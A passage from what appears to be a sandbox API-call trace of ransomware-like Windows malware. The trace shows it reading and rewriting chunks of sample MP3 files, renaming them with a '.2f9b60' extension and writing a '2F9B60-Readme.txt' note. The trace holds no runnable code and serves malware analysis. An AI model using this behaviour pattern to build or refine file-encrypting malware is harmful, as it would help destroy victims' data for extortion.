lpFileSize=0x37a7fb00 | out: lpFileSize=0x37a7fb00*=4113874) returned 1 [0114.063] SetFilePointerEx (in: hFile=0x14ec, liDistanceToMove=0x3ec5ce, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.063] ReadFile (in: hFile=0x14ec, lpBuffer=0x37a7fa80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x37a7fac8, lpOverlapped=0x0 | out: lpBuffer=0x37a7fa80*, lpNumberOfBytesRead=0x37a7fac8*=0x4, lpOverlapped=0x0) returned 1 [0114.066] SetFilePointerEx (in: hFile=0x14ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.066] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9190 [0114.066] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9130 [0114.066] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9160 [0114.066] NtQuerySystemTime (in: CurrentTime=0x37a7f9c0 | out: CurrentTime=0x37a7f9c0*=132462177195190000) returned 0x0 [0114.066] RtlRandomEx (in: Seed=0x37a7f9b0 | out: Seed=0x37a7f9b0) returned 0x1e6c6a78 [0114.066] RtlRandomEx (in: Seed=0x37a7f9b0 | out: Seed=0x37a7f9b0) returned 0x693aa732 [0114.066] RtlRandomEx (in: Seed=0x37a7f9b0 | out: Seed=0x37a7f9b0) returned 0x4435ede0 [0114.066] RtlRandomEx (in: Seed=0x37a7f9b0 | out: Seed=0x37a7f9b0) returned 0xa6fa828 [0114.067] RtlRandomEx (in: Seed=0x37a7f9b0 | out: Seed=0x37a7f9b0) returned 0x272669e6 [0114.067] RtlRandomEx (in: Seed=0x37a7f9b0 | out: Seed=0x37a7f9b0) returned 0x5c72613 [0114.067] RtlRandomEx (in: Seed=0x37a7f9b0 | out: Seed=0x37a7f9b0) returned 0x58504bca [0114.067] RtlRandomEx (in: Seed=0x37a7f9b0 | out: Seed=0x37a7f9b0) returned 0x5f79a778 [0114.067] RtlRandomEx (in: Seed=0x37a7f9b0 | out: Seed=0x37a7f9b0) returned 0x17c5fbbf [0114.067] RtlRandomEx (in: Seed=0x37a7f9b0 | out: Seed=0x37a7f9b0) returned 0x2bb31def [0114.067] RtlRandomEx (in: Seed=0x37a7f9b0 | out: Seed=0x37a7f9b0) returned 0x29c27c03 [0114.067] RtlRandomEx (in: Seed=0x37a7f9b0 | out: Seed=0x37a7f9b0) returned 0xd1c5d82 [0114.067] RtlRandomEx (in: Seed=0x37a7f9b0 | out: Seed=0x37a7f9b0) returned 0x6899ac11 [0114.067] RtlRandomEx (in: Seed=0x37a7f9b0 | out: Seed=0x37a7f9b0) returned 0x77c8e32e [0114.067] RtlRandomEx (in: Seed=0x37a7f9b0 | out: Seed=0x37a7f9b0) returned 0x74283a1e [0114.067] RtlRandomEx (in: Seed=0x37a7f9b0 | out: Seed=0x37a7f9b0) returned 0x5fa4154b [0114.067] RtlRandomEx (in: Seed=0x37a7f9b0 | out: Seed=0x37a7f9b0) returned 0x6a2634e1 [0114.067] RtlRandomEx (in: Seed=0x37a7f9b0 | out: Seed=0x37a7f9b0) returned 0x13e00677 [0114.067] RtlRandomEx (in: Seed=0x37a7f9b0 | out: Seed=0x37a7f9b0) returned 0x3b28a4b8 [0114.067] RtlRandomEx (in: Seed=0x37a7f9b0 | out: Seed=0x37a7f9b0) returned 0x3ffc521e [0114.067] RtlRandomEx (in: Seed=0x37a7f9b0 | out: Seed=0x37a7f9b0) returned 0x368f198f [0114.067] RtlRandomEx (in: Seed=0x37a7f9b0 | out: Seed=0x37a7f9b0) returned 0x6e36d21c [0114.068] RtlRandomEx (in: Seed=0x37a7f9b0 | out: Seed=0x37a7f9b0) returned 0x54144c52 [0114.068] RtlRandomEx (in: Seed=0x37a7f9b0 | out: Seed=0x37a7f9b0) returned 0x3fadd334 [0114.068] RtlRandomEx (in: Seed=0x37a7f9b0 | out: Seed=0x37a7f9b0) returned 0x72d98437 [0114.068] RtlRandomEx (in: Seed=0x37a7f9b0 | out: Seed=0x37a7f9b0) returned 0x627dca88 [0114.068] RtlRandomEx (in: Seed=0x37a7f9b0 | out: Seed=0x37a7f9b0) returned 0x7014c480 [0114.068] RtlRandomEx (in: Seed=0x37a7f9b0 | out: Seed=0x37a7f9b0) returned 0x1c9e6a7f [0114.068] RtlRandomEx (in: Seed=0x37a7f9b0 | out: Seed=0x37a7f9b0) returned 0x43a3a3d0 [0114.068] RtlRandomEx (in: Seed=0x37a7f9b0 | out: Seed=0x37a7f9b0) returned 0x9f4ff95 [0114.068] RtlRandomEx (in: Seed=0x37a7f9b0 | out: Seed=0x37a7f9b0) returned 0x4b251815 [0114.068] RtlRandomEx (in: Seed=0x37a7f9b0 | out: Seed=0x37a7f9b0) returned 0x5f707d71 [0114.081] SetFilePointerEx (in: hFile=0x14ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.081] ReadFile (in: hFile=0x14ec, lpBuffer=0x41c1b4e0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x37a7fa20, lpOverlapped=0x0 | out: lpBuffer=0x41c1b4e0*, lpNumberOfBytesRead=0x37a7fa20*=0x3c00, lpOverlapped=0x0) returned 1 [0114.085] SetFilePointerEx (in: hFile=0x14ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.085] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c350 [0114.085] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868d40 [0114.085] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9190 [0114.085] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9190) returned 1 [0114.085] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41c1f0f0 [0114.086] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9190 [0114.086] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9160 [0114.086] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9160) returned 1 [0114.086] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868d40) returned 1 [0114.086] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c350) returned 1 [0114.086] WriteFile (in: hFile=0x14ec, lpBuffer=0x41c1f0f0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x37a7fa20, lpOverlapped=0x0 | out: lpBuffer=0x41c1f0f0*, lpNumberOfBytesWritten=0x37a7fa20*=0x3c00, lpOverlapped=0x0) returned 1 [0130.119] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c1f0f0) returned 1 [0130.119] SetFilePointerEx (in: hFile=0x14ec, liDistanceToMove=0x1f6800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.119] ReadFile (in: hFile=0x14ec, lpBuffer=0x41c1b4e0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x37a7fa20, lpOverlapped=0x0 | out: lpBuffer=0x41c1b4e0*, lpNumberOfBytesRead=0x37a7fa20*=0x3c00, lpOverlapped=0x0) returned 1 [0130.122] SetFilePointerEx (in: hFile=0x14ec, liDistanceToMove=0x1f6800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.122] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97120 [0130.122] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867ec0 [0130.122] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261010 [0130.123] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261010) returned 1 [0130.123] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41c1f0f0 [0130.123] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261010 [0130.123] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261340 [0130.123] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261340) returned 1 [0130.124] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867ec0) returned 1 [0130.124] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97120) returned 1 [0130.124] WriteFile (hFile=0x14ec, lpBuffer=0x41c1f0f0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x37a7fa20, lpOverlapped=0x0) [0170.982] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c1f0f0) returned 1 [0170.982] SetFilePointerEx (in: hFile=0x14ec, liDistanceToMove=0x3e89d2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.982] ReadFile (in: hFile=0x14ec, lpBuffer=0x41c1b4e0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x37a7fa20, lpOverlapped=0x0 | out: lpBuffer=0x41c1b4e0*, lpNumberOfBytesRead=0x37a7fa20*=0x3c00, lpOverlapped=0x0) returned 1 [0171.152] SetFilePointerEx (in: hFile=0x14ec, liDistanceToMove=0x3e89d2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.152] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97990 [0171.152] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79da70 [0171.153] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1cf20 [0171.153] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1cf20) returned 1 [0171.153] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x420dd570 [0171.153] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1cf20 [0171.154] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1cf50 [0171.154] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1cf50) returned 1 [0171.154] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79da70) returned 1 [0171.155] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97990) returned 1 [0171.155] WriteFile (in: hFile=0x14ec, lpBuffer=0x420dd570*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x37a7fa20, lpOverlapped=0x0 | out: lpBuffer=0x420dd570*, lpNumberOfBytesWritten=0x37a7fa20*=0x3c00, lpOverlapped=0x0) returned 1 [0194.614] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420dd570) returned 1 [0194.614] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1cddf210 [0194.614] SetFilePointerEx (in: hFile=0x14ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0194.614] WriteFile (in: hFile=0x14ec, lpBuffer=0x19ed20*, nNumberOfBytesToWrite=0x16c, lpNumberOfBytesWritten=0x37a7fad0, lpOverlapped=0x0 | out: lpBuffer=0x19ed20*, lpNumberOfBytesWritten=0x37a7fad0*=0x16c, lpOverlapped=0x0) returned 1 [0201.949] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5b930 [0201.949] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061cb0 [0201.950] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d30b60 [0201.950] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d30b60) returned 1 [0201.951] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x1ce5c010 [0201.951] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d30b60 [0201.951] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d30b30 [0201.951] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d30b30) returned 1 [0201.952] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061cb0) returned 1 [0201.952] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b930) returned 1 [0201.952] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x75) returned 0x42061cb0 [0201.953] sprintf (in: _Dest=0x42061cb0, _Format="%c%c" | out: _Dest="c0") returned 2 [0201.953] sprintf (in: _Dest=0x42061cb2, _Format="%c%c" | out: _Dest="79") returned 2 [0201.953] sprintf (in: _Dest=0x42061cb4, _Format="%c%c" | out: _Dest="65") returned 2 [0201.953] sprintf (in: _Dest=0x42061cb6, _Format="%c%c" | out: _Dest="ea") returned 2 [0201.953] sprintf (in: _Dest=0x42061cb8, _Format="%c%c" | out: _Dest="72") returned 2 [0201.953] sprintf (in: _Dest=0x42061cba, _Format="%c%c" | out: _Dest="da") returned 2 [0201.953] sprintf (in: _Dest=0x42061cbc, _Format="%c%c" | out: _Dest="dc") returned 2 [0201.953] sprintf (in: _Dest=0x42061cbe, _Format="%c%c" | out: _Dest="81") returned 2 [0201.953] sprintf (in: _Dest=0x42061cc0, _Format="%c%c" | out: _Dest="99") returned 2 [0201.953] sprintf (in: _Dest=0x42061cc2, _Format="%c%c" | out: _Dest="5c") returned 2 [0201.953] sprintf (in: _Dest=0x42061cc4, _Format="%c%c" | out: _Dest="14") returned 2 [0201.953] sprintf (in: _Dest=0x42061cc6, _Format="%c%c" | out: _Dest="82") returned 2 [0201.953] sprintf (in: _Dest=0x42061cc8, _Format="%c%c" | out: _Dest="32") returned 2 [0201.953] sprintf (in: _Dest=0x42061cca, _Format="%c%c" | out: _Dest="1d") returned 2 [0201.953] sprintf (in: _Dest=0x42061ccc, _Format="%c%c" | out: _Dest="68") returned 2 [0201.953] sprintf (in: _Dest=0x42061cce, _Format="%c%c" | out: _Dest="e9") returned 2 [0201.953] sprintf (in: _Dest=0x42061cd0, _Format="%c%c" | out: _Dest="cf") returned 2 [0201.953] sprintf (in: _Dest=0x42061cd2, _Format="%c%c" | out: _Dest="16") returned 2 [0201.953] sprintf (in: _Dest=0x42061cd4, _Format="%c%c" | out: _Dest="c8") returned 2 [0201.953] sprintf (in: _Dest=0x42061cd6, _Format="%c%c" | out: _Dest="6e") returned 2 [0201.953] sprintf (in: _Dest=0x42061cd8, _Format="%c%c" | out: _Dest="67") returned 2 [0201.953] sprintf (in: _Dest=0x42061cda, _Format="%c%c" | out: _Dest="1f") returned 2 [0201.953] sprintf (in: _Dest=0x42061cdc, _Format="%c%c" | out: _Dest="e2") returned 2 [0201.953] sprintf (in: _Dest=0x42061cde, _Format="%c%c" | out: _Dest="de") returned 2 [0201.954] sprintf (in: _Dest=0x42061ce0, _Format="%c%c" | out: _Dest="e0") returned 2 [0201.954] sprintf (in: _Dest=0x42061ce2, _Format="%c%c" | out: _Dest="54") returned 2 [0201.954] sprintf (in: _Dest=0x42061ce4, _Format="%c%c" | out: _Dest="5c") returned 2 [0201.954] sprintf (in: _Dest=0x42061ce6, _Format="%c%c" | out: _Dest="d0") returned 2 [0201.954] sprintf (in: _Dest=0x42061ce8, _Format="%c%c" | out: _Dest="fd") returned 2 [0201.954] sprintf (in: _Dest=0x42061cea, _Format="%c%c" | out: _Dest="e7") returned 2 [0201.954] sprintf (in: _Dest=0x42061cec, _Format="%c%c" | out: _Dest="a6") returned 2 [0201.954] sprintf (in: _Dest=0x42061cee, _Format="%c%c" | out: _Dest="c5") returned 2 [0201.954] sprintf (in: _Dest=0x42061cf0, _Format="%c%c" | out: _Dest="ca") returned 2 [0201.954] sprintf (in: _Dest=0x42061cf2, _Format="%c%c" | out: _Dest="25") returned 2 [0201.954] sprintf (in: _Dest=0x42061cf4, _Format="%c%c" | out: _Dest="fe") returned 2 [0201.954] sprintf (in: _Dest=0x42061cf6, _Format="%c%c" | out: _Dest="04") returned 2 [0201.954] sprintf (in: _Dest=0x42061cf8, _Format="%c%c" | out: _Dest="44") returned 2 [0201.954] sprintf (in: _Dest=0x42061cfa, _Format="%c%c" | out: _Dest="ab") returned 2 [0201.954] sprintf (in: _Dest=0x42061cfc, _Format="%c%c" | out: _Dest="81") returned 2 [0201.954] sprintf (in: _Dest=0x42061cfe, _Format="%c%c" | out: _Dest="e6") returned 2 [0201.954] sprintf (in: _Dest=0x42061d00, _Format="%c%c" | out: _Dest="ea") returned 2 [0201.954] sprintf (in: _Dest=0x42061d02, _Format="%c%c" | out: _Dest="d9") returned 2 [0201.954] sprintf (in: _Dest=0x42061d04, _Format="%c%c" | out: _Dest="c7") returned 2 [0201.954] sprintf (in: _Dest=0x42061d06, _Format="%c%c" | out: _Dest="53") returned 2 [0201.954] sprintf (in: _Dest=0x42061d08, _Format="%c%c" | out: _Dest="25") returned 2 [0201.954] sprintf (in: _Dest=0x42061d0a, _Format="%c%c" | out: _Dest="c5") returned 2 [0201.954] sprintf (in: _Dest=0x42061d0c, _Format="%c%c" | out: _Dest="f0") returned 2 [0201.954] sprintf (in: _Dest=0x42061d0e, _Format="%c%c" | out: _Dest="c4") returned 2 [0201.954] sprintf (in: _Dest=0x42061d10, _Format="%c%c" | out: _Dest="c1") returned 2 [0201.954] sprintf (in: _Dest=0x42061d12, _Format="%c%c" | out: _Dest="ea") returned 2 [0201.954] sprintf (in: _Dest=0x42061d14, _Format="%c%c" | out: _Dest="d0") returned 2 [0201.954] sprintf (in: _Dest=0x42061d16, _Format="%c%c" | out: _Dest="6e") returned 2 [0201.954] sprintf (in: _Dest=0x42061d18, _Format="%c%c" | out: _Dest="6c") returned 2 [0201.954] sprintf (in: _Dest=0x42061d1a, _Format="%c%c" | out: _Dest="eb") returned 2 [0201.954] sprintf (in: _Dest=0x42061d1c, _Format="%c%c" | out: _Dest="28") returned 2 [0201.955] sprintf (in: _Dest=0x42061d1e, _Format="%c%c" | out: _Dest="c6") returned 2 [0201.955] sprintf (in: _Dest=0x42061d20, _Format="%c%c" | out: _Dest="1a") returned 2 [0201.955] sprintf (in: _Dest=0x42061d22, _Format="%c%c" | out: _Dest="ee") returned 2 [0201.955] RtlInitAnsiString (in: DestinationString=0x37a7fb48, SourceString="c07965ea72dadc81995c1482321d68e9cf16c86e671fe2dee0545cd0fde7a6c5ca25fe0444ab81e6ead9c75325c5f0c4c1ead06e6ceb28c61aee" | out: DestinationString="c07965ea72dadc81995c1482321d68e9cf16c86e671fe2dee0545cd0fde7a6c5ca25fe0444ab81e6ead9c75325c5f0c4c1ead06e6ceb28c61aee") [0201.955] RtlAnsiStringToUnicodeString (in: DestinationString=0x37a7fb18, SourceString="c07965ea72dadc81995c1482321d68e9cf16c86e671fe2dee0545cd0fde7a6c5ca25fe0444ab81e6ead9c75325c5f0c4c1ead06e6ceb28c61aee", AllocateDestinationString=1 | out: DestinationString="c07965ea72dadc81995c1482321d68e9cf16c86e671fe2dee0545cd0fde7a6c5ca25fe0444ab81e6ead9c75325c5f0c4c1ead06e6ceb28c61aee") returned 0x0 [0201.955] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xea) returned 0x1b78e980 [0201.956] wcscat (in: _Dest=0x43197940, _Source="c07965ea72dadc81995c1482321d6" | out: _Dest="C:\\Users\\Public\\Music\\Sample Music\\c07965ea72dadc81995c1482321d6") returned="C:\\Users\\Public\\Music\\Sample Music\\c07965ea72dadc81995c1482321d6" [0201.956] wcscat (in: _Dest=0x43197940, _Source=".2f9b60" | out: _Dest="C:\\Users\\Public\\Music\\Sample Music\\c07965ea72dadc81995c1482321d6.2f9b60") returned="C:\\Users\\Public\\Music\\Sample Music\\c07965ea72dadc81995c1482321d6.2f9b60" [0201.956] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\Public\\Music\\Sample Music\\c07965ea72dadc81995c1482321d6.2f9b60", NtPathName=0x37a7faf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\Public\\Music\\Sample Music\\c07965ea72dadc81995c1482321d6.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0201.956] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x4314c3a0 [0205.963] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4314c3a0) returned 1 [0205.963] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4320ed20) returned 1 [0205.963] NtQueryInformationFile (in: FileHandle=0x14ec, IoStatusBlock=0x37a7fb58, FileInformation=0x37a7fb68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x37a7fb58, FileInformation=0x37a7fb68) returned 0x0 [0205.963] NtSetInformationFile (FileHandle=0x14ec, IoStatusBlock=0x37a7fb58, FileInformation=0x37a7fb68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0216.740] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43197940) returned 1 [0216.741] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b78e980) returned 1 [0216.741] FlushFileBuffers (hFile=0x14ec) returned 1 [0221.423] CloseHandle (hObject=0x14ec) returned 1 [0223.026] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1b86d1c0 [0223.027] wcscpy (in: _Dest=0x1b86d1c0, _Source="C:\\Users\\Public\\Music\\Sample Music\\" | out: _Dest="C:\\Users\\Public\\Music\\Sample Music\\") returned="C:\\Users\\Public\\Music\\Sample Music\\" [0223.027] wcscat (in: _Dest=0x1b86d1c0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\Public\\Music\\Sample Music\\2F9B60-Readme.txt") returned="C:\\Users\\Public\\Music\\Sample Music\\2F9B60-Readme.txt" [0223.027] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Music\\Sample Music\\2F9B60-Readme.txt" (normalized: "c:\\users\\public\\music\\sample music\\2f9b60-readme.txt")) returned 0xffffffff [0223.027] CreateFileW (lpFileName="C:\\Users\\Public\\Music\\Sample Music\\2F9B60-Readme.txt" (normalized: "c:\\users\\public\\music\\sample music\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe2c [0227.340] WriteFile (in: hFile=0xe2c, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x37a7fa10, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x37a7fa10*=0xba9, lpOverlapped=0x0) returned 1 [0237.977] CloseHandle (hObject=0xe2c) returned 1 [0240.601] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86d1c0) returned 1 [0240.601] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85c960) returned 1 Thread: id = 1194 os_tid = 0xcfc [0114.089] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Sleep Away.mp3" (normalized: "c:\\users\\public\\music\\sample music\\sleep away.mp3")) returned 0x20 [0114.089] SetFileAttributesW (lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Sleep Away.mp3", dwFileAttributes=0x20) returned 1 [0114.090] CreateFileW (lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Sleep Away.mp3" (normalized: "c:\\users\\public\\music\\sample music\\sleep away.mp3"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xec0 [0114.090] GetFileSizeEx (in: hFile=0xec0, lpFileSize=0x37b8fc40 | out: lpFileSize=0x37b8fc40*=4842585) returned 1 [0114.090] SetFilePointerEx (in: hFile=0xec0, liDistanceToMove=0x49e455, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.090] ReadFile (in: hFile=0xec0, lpBuffer=0x37b8fbc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x37b8fc08, lpOverlapped=0x0 | out: lpBuffer=0x37b8fbc0*, lpNumberOfBytesRead=0x37b8fc08*=0x4, lpOverlapped=0x0) returned 1 [0114.093] SetFilePointerEx (in: hFile=0xec0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.093] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9160 [0114.093] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202621b0 [0114.093] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260b00 [0114.093] NtQuerySystemTime (in: CurrentTime=0x37b8fb00 | out: CurrentTime=0x37b8fb00*=132462177195502000) returned 0x0 [0114.093] RtlRandomEx (in: Seed=0x37b8faf0 | out: Seed=0x37b8faf0) returned 0x62f6e7a7 [0114.093] RtlRandomEx (in: Seed=0x37b8faf0 | out: Seed=0x37b8faf0) returned 0x6f3e88c0 [0114.094] RtlRandomEx (in: Seed=0x37b8faf0 | out: Seed=0x37b8faf0) returned 0x29d3a27f [0114.094] RtlRandomEx (in: Seed=0x37b8faf0 | out: Seed=0x37b8faf0) returned 0x3935f343 [0114.094] RtlRandomEx (in: Seed=0x37b8faf0 | out: Seed=0x37b8faf0) returned 0x1ae922f8 [0114.094] RtlRandomEx (in: Seed=0x37b8faf0 | out: Seed=0x37b8faf0) returned 0x69fd149c [0114.094] RtlRandomEx (in: Seed=0x37b8faf0 | out: Seed=0x37b8faf0) returned 0x2bd9542 [0114.094] RtlRandomEx (in: Seed=0x37b8faf0 | out: Seed=0x37b8faf0) returned 0x1ac11684 [0114.094] RtlRandomEx (in: Seed=0x37b8faf0 | out: Seed=0x37b8faf0) returned 0x1813d182 [0114.094] RtlRandomEx (in: Seed=0x37b8faf0 | out: Seed=0x37b8faf0) returned 0x75db9b02 [0114.094] RtlRandomEx (in: Seed=0x37b8faf0 | out: Seed=0x37b8faf0) returned 0x77ada831 [0114.094] RtlRandomEx (in: Seed=0x37b8faf0 | out: Seed=0x37b8faf0) returned 0x95047e3 [0114.094] RtlRandomEx (in: Seed=0x37b8faf0 | out: Seed=0x37b8faf0) returned 0x2a9724b4 [0114.094] RtlRandomEx (in: Seed=0x37b8faf0 | out: Seed=0x37b8faf0) returned 0x7202513 [0114.094] RtlRandomEx (in: Seed=0x37b8faf0 | out: Seed=0x37b8faf0) returned 0xc6a1b04 [0114.094] RtlRandomEx (in: Seed=0x37b8faf0 | out: Seed=0x37b8faf0) returned 0x5866aa8b [0114.094] RtlRandomEx (in: Seed=0x37b8faf0 | out: Seed=0x37b8faf0) returned 0xe087ce5 [0114.094] RtlRandomEx (in: Seed=0x37b8faf0 | out: Seed=0x37b8faf0) returned 0x5b4b5aba [0114.094] RtlRandomEx (in: Seed=0x37b8faf0 | out: Seed=0x37b8faf0) returned 0x3550d6b6 [0114.094] RtlRandomEx (in: Seed=0x37b8faf0 | out: Seed=0x37b8faf0) returned 0x1af30c44 [0114.094] RtlRandomEx (in: Seed=0x37b8faf0 | out: Seed=0x37b8faf0) returned 0x1cfb09b6 [0114.094] RtlRandomEx (in: Seed=0x37b8faf0 | out: Seed=0x37b8faf0) returned 0x15ca2c41 [0114.094] RtlRandomEx (in: Seed=0x37b8faf0 | out: Seed=0x37b8faf0) returned 0x3774a402 [0114.094] RtlRandomEx (in: Seed=0x37b8faf0 | out: Seed=0x37b8faf0) returned 0x5fa21125 [0114.095] RtlRandomEx (in: Seed=0x37b8faf0 | out: Seed=0x37b8faf0) returned 0x45b44e34 [0114.095] RtlRandomEx (in: Seed=0x37b8faf0 | out: Seed=0x37b8faf0) returned 0x357472ca [0114.095] RtlRandomEx (in: Seed=0x37b8faf0 | out: Seed=0x37b8faf0) returned 0x722a763c [0114.095] RtlRandomEx (in: Seed=0x37b8faf0 | out: Seed=0x37b8faf0) returned 0x2a2d5c40 [0114.095] RtlRandomEx (in: Seed=0x37b8faf0 | out: Seed=0x37b8faf0) returned 0x7750496d [0114.095] RtlRandomEx (in: Seed=0x37b8faf0 | out: Seed=0x37b8faf0) returned 0x775185fd [0114.095] RtlRandomEx (in: Seed=0x37b8faf0 | out: Seed=0x37b8faf0) returned 0x72ed2940 [0114.095] RtlRandomEx (in: Seed=0x37b8faf0 | out: Seed=0x37b8faf0) returned 0x13f5e13c [0114.108] SetFilePointerEx (in: hFile=0xec0, 